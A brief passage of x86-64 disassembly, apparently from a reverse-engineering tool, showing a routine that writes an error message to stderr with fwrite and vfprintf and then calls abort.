call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]